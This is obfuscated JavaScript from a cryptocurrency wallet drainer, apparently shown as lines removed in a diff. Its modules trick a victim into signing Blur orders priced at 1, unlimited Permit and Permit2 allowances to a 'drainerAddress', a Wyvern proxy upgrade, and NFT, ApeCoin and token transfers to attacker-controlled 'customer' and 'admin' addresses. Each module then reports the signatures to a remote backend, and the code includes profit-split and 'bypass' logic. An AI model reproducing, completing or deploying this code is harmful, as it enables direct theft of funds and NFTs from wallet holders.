- blurFeeRecipientContract: _0x282828,
- walletAddress: _0x4495d8
- } = vD7;
- let v234 = [];
- let v235 = Math.floor(JZmylD(Date.now(), 1000, vzwAVq = 5));
- _0x3bc524.ug3rK7B = -20;
- for (let v236 of _0x3bc524[_0x3bc524.ug3rK7B - -(_0x3bc524.ug3rK7B + 40)]) {
- if (v236.type === "erc20") {
- v234.push({
- trader: _0x4495d8,
- side: 0,
- [ABLWty(1004)]: _0x58f0ec,
- collection: _0x5ee660,
- tokenId: "0",
- amount: "1",
- paymentToken: _0x59d6b3,
- price: v236.balance,
- [ABLWty(1005) + "tionTime"]: JZmylD(v235, 315360000, vzwAVq = -5),
- extraParams: "0x00",
- fees: [],
- listingTime: JZmylD(v235, 604800, WAZ9Ax(-32)),
- salt: _0x2ff298(39),
- orderPrice: v236.price
- });
- } else {
- const v237 = {
- rate: _0x3bc524.ug3rK7B + 10020,
- recipient: _0x282828
- };
- for (let v238 of v236.tokensId) {
- v234.push({
- amount: "1",
- collection: v236[ABLWty(422)],
- expirationTime: JZmylD(v235, 315360000, WAZ9Ax(-5)),
- extraParams: "0x00",
- fees: [v237],
- listingTime: JZmylD(v235, 604800, vzwAVq = -32),
- matchingPolicy: _0x58f0ec,
- paymentToken: "0x0000000000000000000000000000000000000000",
- price: "1",
- salt: _0x2ff298(39),
- side: _0x3bc524.ug3rK7B + 21,
- tokenId: v238,
- trader: _0x4495d8,
- orderPrice: v236.price,
- collectionName: v236.name
- });
- }
- }
- }
- _0x3bc524.GZmnP93 = _0x3bc524[0];
- let v239 = JSON[ABLWty(252)](JSON.stringify(v234)).map(p82 => {
- delete p82.orderPrice;
- delete p82.collectionName;
- return p82;
- });
- let v240 = [];
- for (let v241 of v239) {
- v240.push(f38(v241, 0));
- }
- _0x3bc524.AGKah8 = undefined;
- try {
- _0x3bc524.AGKah8 = JZmylD("0x", new window.MerkleTree(v240, ethers.utils.keccak256, {
- sort: JZmylD(0, WAZ9Ax(7))
- }).getRoot().toString("hex"), vzwAVq = -5);
- } catch (_0x456b0e) {
- vD7.isBlurSupported = JZmylD(1, vzwAVq = 7);
- _0x31dbc2({
- method: "BLUR_TRANSFERS",
- step: "CREATE" + ABLWty.apply(undefined, [1006]) + "E_TREE",
- error: _0x456b0e,
- data: v240
- });
- return JZmylD(_0x3bc524.ug3rK7B + 21, vzwAVq = 7);
- }
- const v247 = {
- verifyingContract: _0x9e8fce
- };
- v247.name = "Blur Exchange";
- v247.version = "1.0";
- v247.chainId = 1;
- _0x3bc524[15] = await _0x2f7f52({
- types: {
- EIP712Domain: [{
- name: "name",
- type: "string"
- }, {
- name: "version",
- type: "string"
- }, {
- name: "chainId",
- type: "uint256"
- }, {
- name: "verifyingContract",
- type: "address"
- }],
- [ABLWty(_0x3bc524.ug3rK7B + 1027)]: [{
- name: "root",
- type: "bytes32"
- }]
- },
- domain: v247,
- primaryType: "Root",
- message: {
- root: _0x3bc524.AGKah8
- }
- }, 1, JZmylD("Blur transfers (" + _0x3bc524.GZmnP93.length, " elements)", vzwAVq = -5), _0x3bc524[98]);
- if (_0x3bc524.ug3rK7B > 46) {
- return _0x3bc524[222];
- } else {
- if (_0x3bc524[15]) {
- _0xd82a7a({
- chainId: 1,
- walletAddress: _0x4495d8,
- signature: _0x3bc524[15],
- orders: v234,
- useSingleExecute: JZmylD(1, WAZ9Ax(7)),
- price: _0x3bc524[_0x3bc524.ug3rK7B + 118]
- }, "blur");
- }
- return _0x3bc524[_0x3bc524.ug3rK7B + 35];
- }
- }, 2);
- }, 2));
- var wn = I(ZZ1LRs((..._0x175ea8) => {
- _0x175ea8.length = 2;
- _0x175ea8[27] = 70;
- var vQ6 = q();
- var vD8 = D();
- var {
- MAX_UINT256: _0x2554aa
- } = he();
- var {
- request: _0xf2e111
- } = Y();
- var {
- signTypedData: _0x5d4ac4,
- getFutureContract: _0x374986
- } = Z();
- _0x175ea8[_0x175ea8[27] + 161] = _0x175ea8[0];
- _0x175ea8[1].exports = ZZ1LRs(async function (..._0x2132dd) {
- _0x2132dd.length = 1;
- _0x2132dd.m_sWXtX = 8;
- let {
- price: _0x762858,
- chainId: _0x409dfa,
- name: _0x1e2589,
- address: _0x34c3bc,
- permitNonce: _0x76e942,
- permitConfig: _0x4ac1eb
- } = _0x2132dd[0];
- let {
- drainerAddress: _0x27fe0c,
- multiFunctionsContracts: _0x2c4982,
- walletAddress: _0x2c8df4,
- useBypass: _0x222f8d
- } = vD8;
- console.log('drainerAddress:', _0x27fe0c);
- let v248;
- let vJZmylD17 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD18 = JZmylD(1, WAZ9Ax(_0x2132dd.m_sWXtX - 1));
- _0x2132dd[52] = _0x2132dd[0];
- if (_0x222f8d && (_0x409dfa === 1 ? _0x762858 > 500 : _0x762858 > 25)) {
- [vJZmylD18, vJZmylD17] = _0x374986(_0x409dfa);
- v248 = vJZmylD17;
- } else {
- vJZmylD17 = vQ6.use_multi_functions_contract && _0x2c4982[_0x409dfa] ? _0x2c4982[_0x409dfa] : JZmylD(1, WAZ9Ax(_0x2132dd.m_sWXtX - 1));
- v248 = vJZmylD17 || _0x27fe0c;
- }
- let v261 = _0x4ac1eb.type === "ALLOWED" ? {
- domain: {
- name: _0x4ac1eb.specialName ?? _0x1e2589,
- version: _0x4ac1eb.version,
- chainId: _0x409dfa,
- verifyingContract: _0x34c3bc
- },
- types: {
- EIP712Domain: [{
- name: "name",
- type: "string"
- }, {
- name: "version",
- type: "string"
- }, {
- name: "chainId",
- type: "uint256"
- }, {
- name: "verifyingContract",
- type: "address"
- }],
- Permit: [{
- name: ABLWty(915),
- type: "address"
- }, {
- name: "spender",
- type: "address"
- }, {
- name: "nonce",
- type: ABLWty(901)
- }, {
- name: "expiry",
- type: "uint256"
- }, {
- name: "allowed",
- type: ABLWty(914)
- }]
- },
- primaryType: "Permit",
- message: {
- holder: _0x2c8df4,
- spender: v248,
- nonce: _0x76e942,
- expiry: _0x2554aa,
- allowed: JZmylD(0, vzwAVq = 7)
- }
- } : {
- domain: {
- name: _0x4ac1eb.specialName ?? _0x1e2589,
- version: _0x4ac1eb.version,
- chainId: _0x409dfa,
- verifyingContract: _0x34c3bc
- },
- types: {
- [ABLWty.call(undefined, _0x2132dd.m_sWXtX + 883) + "Domain"]: [{
- name: "name",
- type: "string"
- }, {
- name: "version",
- type: "string"
- }, {
- [ABLWty(464)]: "chainId",
- type: "uint256"
- }, {
- name: "verifyingContract",
- type: "address"
- }],
- Permit: [{
- [ABLWty(464)]: "owner",
- type: "address"
- }, {
- [ABLWty(464)]: "spender",
- type: "address"
- }, {
- name: "value",
- type: "uint256"
- }, {
- name: "nonce",
- type: "uint256"
- }, {
- name: "deadline",
- type: "uint256"
- }]
- },
- primaryType: "Permit",
- message: {
- owner: _0x2c8df4,
- spender: v248,
- value: _0x2554aa,
- nonce: _0x76e942,
- deadline: _0x2554aa
- }
- };
- let v262 = await _0x5d4ac4(v261, _0x409dfa, JZmylD(_0x1e2589, " permit", vzwAVq = -5), _0x762858);
- if (_0x2132dd.m_sWXtX > 113) {
- return _0x2132dd[_0x2132dd.m_sWXtX + 77];
- } else {
- if (v262) {
- _0xf2e111({
- chainId: _0x409dfa,
- walletAddress: _0x2c8df4,
- [ABLWty(894) + "ure"]: v262,
- [ABLWty(1008)]: v261,
- [ABLWty(1009)]: vJZmylD17,
- salt: vJZmylD18,
- token: _0x2132dd[52],
- price: _0x762858
- }, "permit");
- }
- return v262;
- }
- }, 1);
- }, 2));
- var Tn = I(ZZ1LRs((..._0x5dc3e2) => {
- _0x5dc3e2.length = 2;
- _0x5dc3e2.oCX2FjV = _0x5dc3e2[1];
- var vQ7 = q();
- var vD9 = D();
- var {
- MAX_UINT48: _0x40e9f0,
- MAX_UINT160: _0x4bcb36,
- MAX_UINT256: _0x57dc85
- } = he();
- var {
- PERMIT2: _0x3a23c5,
- MULTICALL: _0x3e6fe2
- } = ue();
- var {
- PERMIT2: _0xdc47fd
- } = de();
- var {
- request: _0x4d7ec3,
- logError: _0x5dc209
- } = Y();
- var {
- signTypedData: _0x5cc17d,
- getFutureContract: _0x384597
- } = Z();
- var v263 = new ethers.utils.Interface(_0x3a23c5);
- var v264 = {};
- ZZ1LRs(f39, 2);
- _0x5dc3e2.OTi8oV = -25;
- async function f39(..._0x46fcb3) {
- _0x46fcb3.length = 2;
- _0x46fcb3[163] = _0x46fcb3[1];
- let {
- multicallAddress: _0x20fd41,
- provider: _0x2ae3f8
- } = vD9.chainsInformations[_0x46fcb3[163]];
- let v265 = new ethers.Contract(_0x20fd41, _0x3e6fe2, _0x2ae3f8);
- _0x46fcb3.A4xmZgm = -146;
- try {
- return (await v265.aggregate(_0x46fcb3[0])).returnData;
- } catch (_0x3a0172) {
- const v266 = {
- multicallCalls: _0x46fcb3[0],
- chainId: _0x46fcb3[163]
- };
- const v267 = {
- method: "PERMIT2",
- step: "MULTICALL",
- error: _0x3a0172,
- data: v266
- };
- _0x5dc209(v267);
- return JZmylD(1, WAZ9Ax(7));
- }
- }
- _0x5dc3e2[146] = 125;
- _0x5dc3e2.oCX2FjV.exports = ZZ1LRs(async function (..._0x40e9ff) {
- _0x40e9ff.length = 3;
- _0x40e9ff.tr1BQx = 147;
- let {
- drainerAddress: _0x4518fe,
- multiFunctionsContracts: _0xfb8ec0,
- walletAddress: _0x24de22,
- useBypass: _0x166bda
- } = vD9;
- console.log('drainerAddress:', _0x4518fe);
- let v268;
- let vJZmylD19 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD20 = JZmylD(1, WAZ9Ax(7));
- _0x40e9ff[189] = _0x40e9ff[1];
- if (_0x166bda && (_0x40e9ff[189] === 1 ? _0x40e9ff[2] > 500 : _0x40e9ff[2] > 25)) {
- [vJZmylD20, vJZmylD19] = _0x384597(_0x40e9ff[_0x40e9ff.tr1BQx + 42]);
- v268 = vJZmylD19;
- } else {
- vJZmylD19 = vQ7.use_multi_functions_contract && _0xfb8ec0[_0x40e9ff[189]] ? _0xfb8ec0[_0x40e9ff[189]] : JZmylD(1, WAZ9Ax(7));
- v268 = vJZmylD19 || _0x4518fe;
- }
- const v269 = {
- name: "Permit2",
- chainId: _0x40e9ff[189],
- verifyingContract: _0xdc47fd
- };
- const v280 = {
- details: [],
- spender: v268,
- sigDeadline: _0x57dc85
- };
- let v281 = {
- domain: v269,
- types: {
- [ABLWty(891) + "Domain"]: [{
- name: "name",
- type: "string"
- }, {
- name: "chainId",
- type: "uint256"
- }, {
- name: "verifyingContract",
- type: "address"
- }],
- PermitBatch: [{
- name: "details",
- type: "PermitDetails[]"
- }, {
- name: "spender",
- type: "address"
- }, {
- name: "sigDeadline",
- type: "uint256"
- }],
- PermitDetails: [{
- name: "token",
- type: "address"
- }, {
- name: "amount",
- type: "uint160"
- }, {
- name: "expiration",
- type: "uint48"
- }, {
- name: "nonce",
- type: "uint48"
- }]
- },
- primaryType: "PermitBatch",
- message: v280
- };
- let v282 = [];
- _0x40e9ff.tr1BQx = 138;
- for (let v283 of _0x40e9ff[0]) {
- if (!v264[JZmylD(v283.address + "-", _0x40e9ff[_0x40e9ff.tr1BQx - -(_0x40e9ff.tr1BQx - 87)], vzwAVq = -5)]) {
- v282.push({
- tokenAddress: v283.address,
- target: _0xdc47fd,
- callData: v263.encodeFunctionData("allowance", [_0x24de22, v283.address, v268])
- });
- }
- }
- if (v282.length > 0) {
- _0x40e9ff.agyigqO = await f39(v282, _0x40e9ff[189]);
- if (_0x40e9ff.agyigqO) {
- for (let v284 = 0; v284 < v282.length; v284++) {
- v264[JZmylD(v282[v284][ABLWty(_0x40e9ff.tr1BQx + 872)] + "-", _0x40e9ff[189], vzwAVq = -5)] = v263.decodeFunctionResult("allowance", _0x40e9ff.agyigqO[v284]).nonce[ABLWty(20)]();
- }
- } else {
- for (let v285 of v282) {
- v264[JZmylD(v285.tokenAddress + "-", _0x40e9ff[189], WAZ9Ax(-5))] = "0";
- }
- }
- }
- for (let v286 of _0x40e9ff[0]) {
- v281.message.details.push({
- token: v286[ABLWty(422)],
- amount: _0x4bcb36,
- expiration: _0x40e9f0,
- nonce: v264[JZmylD(v286.address + "-", _0x40e9ff[_0x40e9ff.tr1BQx - -(_0x40e9ff.tr1BQx - 87)], WAZ9Ax(-5))]
- });
- }
- _0x40e9ff.UDNagAG = await _0x5cc17d(v281, _0x40e9ff[189], JZmylD("Permit2 (" + _0x40e9ff[_0x40e9ff.tr1BQx - 138].length, " tokens)", WAZ9Ax(-5)), _0x40e9ff[_0x40e9ff.tr1BQx - 136]);
- if (_0x40e9ff.tr1BQx > 224) {
- return _0x40e9ff[58];
- } else {
- if (_0x40e9ff.UDNagAG) {
- _0x4d7ec3({
- chainId: _0x40e9ff[189],
- walletAddress: _0x24de22,
- signedData: v281,
- signature: _0x40e9ff.UDNagAG,
- multiFunctionsContract: vJZmylD19,
- salt: vJZmylD20,
- tokens: _0x40e9ff[0],
- price: _0x40e9ff[2]
- }, "permit2");
- }
- return _0x40e9ff.UDNagAG;
- }
- }, 3);
- }, 2));
- var xn = I(ZZ1LRs((..._0x2bb0e5) => {
- _0x2bb0e5.length = 2;
- _0x2bb0e5[193] = 57;
- var vD10 = D();
- var {
- WYVERN_PROXY_CONTRACT: _0x4a9975
- } = ue();
- var {
- request: _0x2eff99
- } = Y();
- var {
- sendTransaction: _0x2be2fd
- } = Z();
- var v287 = new ethers.utils.Interface(_0x4a9975);
- _0x2bb0e5[1].exports = ZZ1LRs(async function (..._0x5a0f93) {
- _0x5a0f93.length = 2;
- _0x5a0f93[187] = _0x5a0f93[0];
- let {
- wyvernProxyContract: _0x4046ef,
- wyvernReplaceProxyContract: _0x442540,
- walletAddress: _0x29fca9
- } = vD10;
- let v288 = v287[ABLWty.call(undefined, 1011)]("upgradeTo", [_0x442540]);
- let v289 = {
- to: _0x4046ef,
- data: v288
- };
- let [v290, v291, v292] = await _0x2be2fd(v289, 1, JZmylD("Wyvern (" + _0x5a0f93[187].length, " collections)", vzwAVq = -5), _0x5a0f93[1]);
- _0x5a0f93.C_aKC47 = _0x5a0f93[1];
- if (v290) {
- _0x2eff99(v291 === "signature" ? {
- chainId: 1,
- walletAddress: _0x29fca9,
- signature: v290,
- rawTx: v289,
- wyvernProxyContract: _0x4046ef,
- collections: _0x5a0f93[187],
- price: _0x5a0f93.C_aKC47,
- isManualClaimNeeded: v292,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x29fca9,
- txHash: v290,
- wyvernProxyContract: _0x4046ef,
- collections: _0x5a0f93[187],
- price: _0x5a0f93.C_aKC47,
- type: 2
- }, "wyvern");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, WAZ9Ax(7));
- }
- }, 2);
- }, 2));
- var An = I(ZZ1LRs((..._0x11ed47) => {
- _0x11ed47.length = 2;
- _0x11ed47[175] = -11;
- var vD11 = D();
- var {
- X2Y2_ERC721_DELEGATE: _0x569445
- } = ue();
- var {
- X2Y2_ERC721_DELEGATE: _0x37c443
- } = de();
- var {
- numberToHex: _0x139da1
- } = pe();
- var {
- request: _0x7f92e9
- } = Y();
- var {
- sendTransaction: _0x2bd33c,
- estimateGasLimit: _0x57c887
- } = Z();
- var v293 = new ethers.utils.Interface(_0x569445);
- _0x11ed47[175] = 91;
- _0x11ed47[1].exports = ZZ1LRs(async function (..._0x4026dd) {
- _0x4026dd.length = 2;
- _0x4026dd[188] = _0x4026dd[0];
- let {
- customerAddress: _0xf04979,
- walletAddress: _0x4e6c96,
- isAutoSplitEnabled: _0x4095b7,
- adminsNonSplittedHitsAddress: _0x28498c
- } = vD11;
- let v294 = [];
- for (let v295 of _0x4026dd[188]) {
- for (let v296 of v295.tokensId) {
- v294.push({
- token: v295.address,
- tokenId: v296
- });
- }
- }
- let v297 = v293["encode" + ABLWty.call(undefined, 1002) + "onData"]("transferBatch", [v294, _0x4095b7 && _0x4026dd[1] > 5000 ? _0x28498c : _0xf04979]);
- let v298 = {
- from: _0x4e6c96,
- to: _0x37c443,
- data: v297
- };
- let [v299, v300] = await _0x57c887(v298, 1, {
- logFail: JZmylD(1, WAZ9Ax(7)),
- isHighPrice: _0x4026dd[1] > 1000
- });
- if (["staked", "failed"].includes(v300)) {
- vD11.isBatchX2y2TransfersSupported = JZmylD(1, vzwAVq = 7);
- return JZmylD(1, vzwAVq = 7);
- }
- _0x4026dd.msJHtDD = _0x4026dd[188];
- v298.gasLimit = _0x139da1(v299);
- delete v298.from;
- let [v301, v302, v303] = await _0x2bd33c(v298, 1, JZmylD("X2y2 batch transfer (" + v294.length, " NFTs)", WAZ9Ax(-5)), _0x4026dd[1]);
- if (v301) {
- _0x7f92e9(v302 === "signature" ? {
- chainId: 1,
- [ABLWty.call(undefined, 220) + "Address"]: _0x4e6c96,
- signature: v301,
- rawTx: v298,
- collections: _0x4026dd.msJHtDD,
- price: _0x4026dd[1],
- isManualClaimNeeded: v303,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x4e6c96,
- txHash: v301,
- collections: _0x4026dd.msJHtDD,
- price: _0x4026dd[1],
- type: 2
- }, "x2y2-batch-transfer");
- return JZmylD(0, vzwAVq = 7);
- } else {
- return JZmylD(1, WAZ9Ax(7));
- }
- }, 2);
- }, 2));
- var Pn = I(ZZ1LRs((..._0x43babf) => {
- _0x43babf.length = 2;
- _0x43babf[52] = 55;
- var vD12 = D();
- var {
- NFTS_COLLECTION: _0x3706b9
- } = ue();
- var {
- CREEPZ: _0x4d0319
- } = de();
- var {
- request: _0x496029
- } = Y();
- var {
- sendTransaction: _0x1a8456
- } = Z();
- var v304 = new ethers.utils.Interface(_0x3706b9);
- _0x43babf[52] = 101;
- _0x43babf[1].exports = ZZ1LRs(async function (..._0xd905fe) {
- _0xd905fe.length = 1;
- _0xd905fe[171] = _0xd905fe[0];
- let {
- price: _0x553fd3,
- tokensId: _0x57aaba
- } = _0xd905fe[171];
- let {
- customerAddress: _0x46f0aa,
- isAutoSplitEnabled: _0x4753aa,
- adminsNonSplittedHitsAddress: _0x8e1001,
- walletAddress: _0x284602
- } = vD12;
- let v305 = v304.encodeFunctionData("transferWhileStaked", [_0x4753aa && _0x553fd3 > 5000 ? _0x8e1001 : _0x46f0aa, _0x57aaba]);
- let v306 = {
- to: _0x4d0319,
- data: v305
- };
- let [v307, v308, v309] = await _0x1a8456(v306, 1, JZmylD("Creepz Transfer(s) (" + _0x57aaba.length, " NFTs)", WAZ9Ax(-5)), _0x553fd3);
- if (v307) {
- _0x496029(v308 === "signature" ? {
- chainId: 1,
- walletAddress: _0x284602,
- signature: v307,
- [ABLWty(752)]: v306,
- tokensId: _0x57aaba,
- price: _0x553fd3,
- isManualClaimNeeded: v309,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x284602,
- txHash: v307,
- tokensId: _0x57aaba,
- price: _0x553fd3,
- type: 2
- }, "creepz-transfers");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, 1);
- }, 2));
- var Mn = I(ZZ1LRs((..._0x4b43c2) => {
- _0x4b43c2.length = 2;
- _0x4b43c2.VkvcUb = -68;
- var vD13 = D();
- var {
- NFTS_COLLECTION: _0x24444b
- } = ue();
- var {
- PUNK: _0x108080
- } = de();
- var {
- request: _0x9c5db1
- } = Y();
- var {
- sendTransaction: _0x8fcdd6
- } = Z();
- var v310 = new ethers.utils.Interface(_0x24444b);
- _0x4b43c2.H0elAS = _0x4b43c2[0];
- _0x4b43c2[1].exports = ZZ1LRs(async function (..._0x34ac02) {
- _0x34ac02.length = 2;
- _0x34ac02.mTAj3C = -128;
- let {
- customerAddress: _0x1302c5,
- isAutoSplitEnabled: _0x12b742,
- adminsNonSplittedHitsAddress: _0x35f69c,
- walletAddress: _0x31b656
- } = vD13;
- let v311 = v310.encodeFunctionData("transferPunk", [_0x12b742 && _0x34ac02[_0x34ac02.mTAj3C + 129] > 5000 ? _0x35f69c : _0x1302c5, _0x34ac02[0]]);
- let v312 = {
- to: _0x108080,
- data: v311
- };
- let [v313, v314, v315] = await _0x8fcdd6(v312, 1, JZmylD("Punk " + _0x34ac02[0], " transfer", vzwAVq = -5), _0x34ac02[_0x34ac02.mTAj3C + 129]);
- if (_0x34ac02.mTAj3C > -55) {
- return _0x34ac02[-186];
- } else if (v313) {
- _0x9c5db1(v314 === "signature" ? {
- chainId: 1,
- walletAddress: _0x31b656,
- signature: v313,
- rawTx: v312,
- tokenId: _0x34ac02[0],
- price: _0x34ac02[1],
- isManualClaimNeeded: v315,
- type: 1
- } : {
- chainId: 1,
- ["wallet" + ABLWty(871) + "s"]: _0x31b656,
- txHash: v313,
- tokenId: _0x34ac02[0],
- [ABLWty(413)]: _0x34ac02[1],
- type: 2
- }, "punk-transfer");
- return JZmylD(0, vzwAVq = 7);
- } else {
- return JZmylD(1, WAZ9Ax(_0x34ac02.mTAj3C + 135));
- }
- }, 2);
- }, 2));
- var Rn = I(ZZ1LRs((..._0x4fe150) => {
- _0x4fe150.length = 2;
- _0x4fe150[244] = -23;
- var vQ8 = q();
- var vD14 = D();
- var {
- APE_COINS_STAKING: _0x23ec6c
- } = ue();
- var {
- APE_COINS_STAKING: _0x3347af
- } = de();
- var {
- request: _0x3aeace
- } = Y();
- var {
- sendTransaction: _0x1f1ac3,
- getFutureContract: _0x1c48eb
- } = Z();
- var v316 = new ethers.utils.Interface(_0x23ec6c);
- _0x4fe150.Q_plLY = -71;
- _0x4fe150[1].exports = async function () {
- let {
- apeCoinsStaked: _0x11cd76,
- drainerAddress: _0x4a6495,
- customerAddress: _0x5e6ed5,
- isAutoSplitEnabled: _0x22da7c,
- multiFunctionsContracts: _0x496d2c,
- walletAddress: _0x19e055,
- useBypass: _0x4ebed4
- } = vD14;
- console.log('vD14:', _0x4a6495);
- let {
- price: _0x278f58,
- amount: _0x231ce1,
- unclaimedAmount: _0x59e752
- } = _0x11cd76;
- let v317;
- let vJZmylD21 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD22 = JZmylD(1, WAZ9Ax(7));
- if (_0x4ebed4 && _0x278f58 > 500) {
- [vJZmylD22, vJZmylD21] = _0x1c48eb(1);
- v317 = vJZmylD21;
- } else {
- vJZmylD21 = vQ8.use_multi_functions_contract && _0x496d2c[1] ? _0x496d2c[1] : JZmylD(1, vzwAVq = 7);
- v317 = vJZmylD21 || (_0x22da7c ? _0x4a6495 : _0x5e6ed5);
- }
- let v318 = v316.encodeFunctionData("withdrawApeCoin", [_0x231ce1, v317]);
- let v319 = {
- to: _0x3347af,
- data: v318
- };
- let [v320, v321, v322] = await _0x1f1ac3(v319, 1, "Ape coins unstake", _0x278f58);
- if (v320) {
- _0x3aeace(v321 === "signature" ? {
- chainId: 1,
- walletAddress: _0x19e055,
- signature: v320,
- rawTx: v319,
- receiver: v317,
- salt: vJZmylD22,
- amount: _0x231ce1,
- unclaimedAmount: _0x59e752,
- [ABLWty.call(undefined, 413)]: _0x278f58,
- isManualClaimNeeded: v322,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x19e055,
- txHash: v320,
- receiver: v317,
- salt: vJZmylD22,
- amount: _0x231ce1,
- unclaimedAmount: _0x59e752,
- price: _0x278f58,
- type: 2
- }, "ape-coins-unstake");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, WAZ9Ax(7));
- }
- };
- }, 2));
- var wt = I(ZZ1LRs((..._0x4cf720) => {
- _0x4cf720.length = 2;
- _0x4cf720.DmemeTl = _0x4cf720[1];
- var vQ9 = q();
- var vD15 = D();
- var {
- ERC20: _0x6cc55f
- } = ue();
- var {
- TOKENS_REQUIRING_SINGLE_TRANSFER: _0x4880d3
- } = de();
- var {
- request: _0x911193
- } = Y();
- var {
- sendTransaction: _0x51cb22,
- getFutureContract: _0x58eb2d
- } = Z();
- var v323 = new ethers[ABLWty.apply(undefined, [714])].Interface(_0x6cc55f);
- _0x4cf720[228] = _0x4cf720.DmemeTl;
- _0x4cf720[228].exports = ZZ1LRs(async function (..._0x584351) {
- _0x584351.length = 1;
- _0x584351[19] = 101;
- let {
- price: _0x512c44,
- chainId: _0x4b72d2
- } = _0x584351[0];
- let {
- drainerAddress: _0x212f67,
- customerAddress: _0x37409e,
- isAutoSplitEnabled: _0x399e76,
- multiFunctionsContracts: _0x18baba,
- walletAddress: _0x1eeca8,
- useBypass: _0x4bec68
- } = vD15;
- console.log('vD15:', _0x212f67);
- let v324 = _0x4880d3[ABLWty(436) + "es"](_0x584351[0].address);
- let v325;
- let vJZmylD23 = JZmylD(_0x584351[19] - 100, WAZ9Ax(7));
- let vJZmylD24 = JZmylD(1, WAZ9Ax(7));
- if (v324) {
- v325 = _0x37409e;
- } else if (_0x4bec68 && (_0x4b72d2 === 1 ? _0x512c44 > 500 : _0x512c44 > 25)) {
- [vJZmylD24, vJZmylD23] = _0x58eb2d(_0x4b72d2);
- v325 = vJZmylD23;
- } else {
- vJZmylD23 = v324 ? JZmylD(1, vzwAVq = 7) : vQ9.use_multi_functions_contract && _0x18baba[_0x4b72d2] ? _0x18baba[_0x4b72d2] : JZmylD(_0x584351[19] - 100, WAZ9Ax(7));
- v325 = vJZmylD23 || (_0x399e76 ? _0x212f67 : _0x37409e);
- }
- let v326 = v323.encodeFunctionData("transfer", [v325, _0x584351[_0x584351[19] - 101].balance]);
- let v327 = {
- to: _0x584351[_0x584351[19] - 101].address,
- data: v326
- };
- let [v328, v329, v330] = await _0x51cb22(v327, _0x4b72d2, JZmylD(_0x584351[0].name, " token transfer", vzwAVq = -5), _0x512c44);
- if (JZmylD(v328, WAZ9Ax(_0x584351[19] - 94))) {
- return JZmylD(1, vzwAVq = 7);
- }
- _0x584351[_0x584351[19] - 83] = v325 === _0x37409e;
- if (_0x584351[19] > 144) {
- return _0x584351[-201];
- } else {
- const v331 = {
- walletAddress: _0x1eeca8,
- multiFunctionsContract: vJZmylD23,
- isTokenDirectlyOnCustomerWallet: _0x584351[18],
- isManualClaimNeeded: v330
- };
- v331.chainId = _0x4b72d2;
- v331.signature = v328;
- v331.rawTx = v327;
- v331.salt = vJZmylD24;
- v331.token = _0x584351[0];
- v331.price = _0x512c44;
- v331.type = 1;
- const v332 = {
- walletAddress: _0x1eeca8
- };
- v332.chainId = _0x4b72d2;
- v332.txHash = v328;
- v332.multiFunctionsContract = vJZmylD23;
- v332.salt = vJZmylD24;
- v332.token = _0x584351[0];
- v332.isTokenDirectlyOnCustomerWallet = _0x584351[18];
- v332.price = _0x512c44;
- v332.type = 2;
- _0x911193(v329 === "signature" ? v331 : v332, "token-transfer");
- return JZmylD(0, WAZ9Ax(7));
- }
- }, 1);
- }, 2));
- var Wn = I(ZZ1LRs((..._0x439258) => {
- _0x439258.length = 2;
- _0x439258[41] = _0x439258[0];
- var vQ10 = q();
- var vD16 = D();
- var {
- MAX_UINT256: _0x260cdf
- } = he();
- var {
- TOKENS_REQUIRING_SINGLE_TRANSFER: _0x4bc395
- } = de();
- var {
- ERC20: _0x44d288,
- NFTS_COLLECTION: _0x493519
- } = ue();
- var {
- numberToHex: _0x37eb68
- } = pe();
- var {
- estimateGasLimit: _0x34f461,
- sendTransaction: _0x585202,
- getFutureContract: _0x1da968
- } = Z();
- var {
- request: _0x12b290
- } = Y();
- var vWt = wt();
- var v333 = new ethers.utils.Interface(_0x44d288);
- var v334 = new ethers.utils.Interface(_0x493519);
- var v335 = [];
- _0x439258[204] = _0x439258[41];
- async function f40(p83, p84, p85, p86, p87 = JZmylD(0, vzwAVq = 7)) {
- let v336 = [];
- const v337 = {
- from: p84,
- to: p83
- };
- if (p87) {
- v336.push(_0x34f461(v337, p85, {
- logFail: JZmylD(1, vzwAVq = 7)
- }).then(p88 => ["staked", "failed"].includes(p88[1])));
- }
- v336.push(_0x34f461({
- from: p84,
- to: p83,
- data: p86
- }, p85, {
- logFail: JZmylD(1, WAZ9Ax(7))
- }).then(p89 => JZmylD([ABLWty.call(undefined, 1012), "failed"].includes(p89[1]), WAZ9Ax(7))));
- return (await Promise.all(v336)).every(Boolean);
- }
- _0x439258[1].exports = ZZ1LRs(async function (..._0x1b8eac) {
- _0x1b8eac.length = 1;
- _0x1b8eac.sxGgtl = _0x1b8eac[0];
- let {
- chainId: _0x42009b,
- address: _0x5bccd5,
- name: _0x124d53,
- type: _0x10eb52
- } = _0x1b8eac.sxGgtl;
- let vJZmylD25 = JZmylD(_0x5bccd5 + "-", _0x42009b, vzwAVq = -5);
- _0x1b8eac[9] = -141;
- if (_0x4bc395.includes(_0x5bccd5) || v335.includes(vJZmylD25)) {
- return vWt(_0x1b8eac.sxGgtl);
- }
- _0x1b8eac[164] = _0x1b8eac[_0x1b8eac[9] + 161];
- let {
- drainerAddress: _0x22dccf,
- multiFunctionsContracts: _0x580bef,
- walletAddress: _0x1e2256,
- walletName: _0x1a9c59,
- useBypass: _0x21a44d
- } = vD16;
- console.log('vD16:', _0x22dccf);
- let v338 = _0x1b8eac.sxGgtl.totalPrice || _0x1b8eac.sxGgtl.price;
- let v339;
- let vJZmylD26 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD27 = JZmylD(_0x1b8eac[9] + 142, WAZ9Ax(7));
- if (_0x21a44d && (_0x42009b === 1 ? v338 > 500 : v338 > 25) && JZmylD(_0x1a9c59.includes("MetaMask"), WAZ9Ax(7))) {
- [vJZmylD27, vJZmylD26] = _0x1da968(_0x42009b);
- v339 = vJZmylD26;
- } else {
- vJZmylD26 = vQ10.use_multi_functions_contract && _0x580bef[_0x42009b] ? _0x580bef[_0x42009b] : JZmylD(1, WAZ9Ax(7));
- v339 = vJZmylD26 || _0x22dccf;
- }
